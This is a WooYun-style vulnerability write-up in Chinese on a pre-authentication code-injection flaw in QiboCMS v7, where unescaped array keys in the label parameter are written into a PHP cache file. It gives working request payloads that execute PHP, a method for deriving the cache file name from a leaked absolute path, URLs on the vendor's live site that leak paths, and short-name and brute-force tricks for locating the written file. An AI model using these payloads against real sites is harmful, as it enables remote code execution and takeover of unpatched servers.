WooYun.org

全局过滤函数

function Add_S($array){
	foreach($array as $key=>$value){
		if(!is_array($value)){
			@eregi("['\\\"&]+",$key) && die('ERROR KEY!');
			$value=str_replace("&#x","& # x",$value);	//过滤一些不安全字符
			$value=preg_replace("/eval/i","eva l",$value);	//过滤不安全函数
			!get_magic_quotes_gpc() && $value=addslashes($value);
			$array[$key]=$value;
		}else{
			$array[$key]=Add_S($array[$key]); 
		}
	}
	return $array;
}

看似修复得很完美 可是呢。

被匹配出
当像下图这样提交的时候 匹配的key是asd 那么就不会被匹配出 就不会被过滤。

在label_module.php中 这里无需登录任何

else
{
	foreach($label AS $key=>$value)
	{
	    var_dump ($value);exit;
		//如果是新标签时,即为数组array(),要清空
		if(is_array($value))
		{
			$label[$key]='';
		}
	}
	//写缓存
	if( (time()-filemtime($FileName))>($webdb[label_cache_time]*60) ){
		$_shows="<?php\r\n\$haveCache=1;\r\n";
	
		foreach($label AS $key=>$value){
			$value=addslashes($value);
			$_shows.="\$label['$key']=stripslashes('$value');\r\n";
		}
		write_file($FileName,$_shows.'?>');
	}	
}

由于qibo是

foreach($_POST AS $_key=>$_value){
	!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
	!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

所以这变量$label 可以直接控制。
然后循环出来 数组中的key 和 value 都直接写入到了缓存文件中。
这里由于value 全局的函数 会受到第一次转义 $value=addslashes($value);
这里又经过了第二次转义 那么就是a\\\'
"\$label['$key']=stripslashes('$value');\r\n"
写入时候的代码 就看有个stripslashes 其实是不会被执行的 而就是把stripslashes写入到文件当中。
这时候只有来利用key 由于在全局的过滤函数中没对key做addslashes(也不能做addslashes) 所以不会被转义 而且结合上面的 就直接绕过了。
当写入到文件中的时候是这样的。

key中直接含单引号 被匹配到然后退出了。
结合上面的方式绕过。

这时候写入的代码为 $label['asd'']=stripslashes('');
后面的stripslashes('') 为啥是空的了呢
如果不是空的还能利用转义符来搞。
因为我们这样提交index.php?label[asd'][asd]=asda' 这样的那么他的value是数组

if(is_array($value))
		{
			$label[$key]='';
		}

就清空了。
一开始我一直在纠结如果闭合之前的这个[ 我就需要提交一个yu']# 类似这样的
可是写入的是数组中的key 如果要在key中写入]的话 那么就成了
http://web.com/qibov7/index.php?label[asd']][asd]=asda'
就成了[asd']] 这样 那么提交的] 和之前[ 闭合 然后key就还是asd'
然后就一直在这纠结这个问题。。
后面问了问P神 尼玛 瞬间给我解决。
P神给的['a'."${phpinfo()}".''] 利用双引号的二次解析来Getshell
那么就让我们的key为a'."${phpinfo()}".' 这个就行了 不含]

测试一下能不能执行

竟然报错了? 这里我们用一下错误抑制符
那么也就是['a'."${@phpinfo()}".''] 提交的key为a'."${@phpinfo()}".'

成功执行。
后面我再简化了一下其实是不需要用到双引号的二次解析的
[''.phpinfo().''] 提交的key为'.phpinfo().' 依旧可以直接执行
之前的思维一直就是想着去闭合。唉。
___________________________________________________________________________
内容可以搞定了 这里我们再来看一下文件名是咋来的

$FileName=ROOT_PATH."cache/label_cache/";
	if(!is_dir($FileName)){
		makepath($FileName);
	}
	$FileName.=(ereg("\.php",basename($WEBURL))?preg_replace("/\.php(.*)/","",basename($WEBURL)):'index')."_".intval($ch)."_".intval($ch_pagetype)."_".intval($ch_module)."_".intval($ch_fid)."_".intval($city_id).'_'.substr(md5(getTpl("index",$chdb[main_tpl])),0,5).".php";

首先目录cache/label_cache/
再来看文件名
_".intval($ch)."_".intval($ch_pagetype)."_".intval($ch_module)."_".intval($ch_fid)."_".intval($city_id).'_'.substr(md5(getTpl("index",$chdb[main_tpl])),0,5).".php"
就是经过一系列的转整 除开$ch 为1 其他的那些变量 我们都没去定义 那么intval 后为0
那么就是index_1_0_0_0_0_substr(md5(getTpl("index",$chdb[main_tpl])),0,5).php
来看一下这个 getTpl("index",$chdb[main_tpl])
这个其实就是模版地址 网站的绝对路径+默认模版地址
这里用到了网站的绝对路径 所以我们要找一个可以泄漏绝对路径的。
会泄漏绝对路径的地方很多 我随便贴两处把
http://v7.qibosoft.com/data/label_hf.php
http://v7.qibosoft.com//do/fontimg.php
http://v7.qibosoft.com//hack/gather/inc/show_system_fid.php
以为本地测试为例

D:\ApmServ\www\htdocs\qibov7\data\label_hf.php
那么网站的绝对路径就为 D:\ApmServ\www\htdocs\qibov7
再加上默认模版路径/template/default/index.htm
那就是 D:\ApmServ\www\htdocs\qibov7/template/default/index.htm
对这个进行md5一次 得到82e4a1041f04d2edb779e87b37623786
然后他这里是substr(md5(getTpl("index",$chdb[main_tpl])),0,5)取前5位
那么就是82e4a 再拼凑起来
那么就得到 cache/label_cache/index_1_0_0_0_0_82e4a.php

找文件的第二种方法
在windows iis下可以利用短文件名来猜解
如果windows apache的话 那就更简单了
直接cache/label_cache/index_~1.php

直接就可以了。
当然 5位 也可以尝试爆破一下嘛 哈哈。